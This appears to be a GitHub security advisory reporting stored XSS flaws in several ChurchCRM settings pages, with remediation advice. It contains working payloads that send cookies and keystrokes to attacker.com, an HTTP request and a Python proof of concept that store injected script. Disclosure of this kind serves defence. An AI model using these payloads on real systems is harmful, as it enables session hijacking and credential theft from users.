Skip to content

ChurchCRM - Multiple Stored XSS Vulnerabilities #10

@cyl-love

Description

@cyl-love

Product

ChurchCRM

Vendor

ChurchCRM

Vendor Website

https://churchcrm.io

GitHub Repository

https://github.com/ChurchCRM/CRM

Affected Version

Latest (as of 2026-02-18)

Vulnerability Type

Cross-Site Scripting (XSS) - Stored (CWE-79)

CVSS Score

7.5 (High)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Description

Multiple stored Cross-Site Scripting (XSS) vulnerabilities exist in ChurchCRM's settings management functionality. User-supplied input in new_value, new_permission, and type parameters is stored without proper sanitization and can be executed in other users' browsers when viewing the affected pages.

Vulnerable Files

1. UserEditor.php (Lines 268-270)

$new_value = $_POST['new_value'];
$new_permission = $_POST['new_permission'];
$type = $_POST['type'];

2. SystemSettings.php (Lines 21-22)

$new_value = $_POST['new_value'];
$type = $_POST['type'];

3. SettingsUser.php (Lines 15-17)

$new_value = $_POST['new_value'];
$new_permission = $_POST['new_permission'];
$type = $_POST['type'];

4. SettingsIndividual.php (Lines 15-16)

$new_value = $_POST['new_value'];
$type = $_POST['type'];

Proof of Concept

Stored XSS Attack

POST /UserEditor.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded

save=1&new_value[1]=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&type[1]=text&new_permission[1]=TRUE

Cookie Theft Payload

<script>
fetch('http://attacker.com/steal?cookie='+document.cookie)
</script>

Keylogger Injection

<script>
document.addEventListener('keydown', function(e) {
    fetch('http://attacker.com/log?key='+e.key)
})
</script>

Python PoC

#!/usr/bin/env python3
import requests

target = "http://target.com"
session = {"PHPSESSID": "admin_session"}

# Inject XSS payload
data = {
    "save": "1",
    "new_value[1]": "<script>alert('XSS')</script>",
    "type[1]": "text",
    "new_permission[1]": "TRUE"
}

response = requests.post(f"{target}/UserEditor.php", data=data, cookies=session)
print(f"Status: {response.status_code}")

# Verify XSS is stored
response = requests.get(f"{target}/UserEditor.php", cookies=session)
if "<script>alert('XSS')</script>" in response.text:
    print("[+] XSS payload stored successfully!")

Impact

  • Session hijacking
  • Cookie theft
  • Keylogging
  • Phishing attacks
  • Malware distribution
  • Account takeover

Remediation

  1. Sanitize all user input before storage
  2. Use htmlspecialchars() or similar encoding functions
  3. Implement Content-Security-Policy (CSP) headers
  4. Use templating engines with auto-escaping
// Fixed code
$new_value = [];
foreach ($_POST['new_value'] as $key => $value) {
    $new_value[htmlspecialchars($key)] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
// CSP Header
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions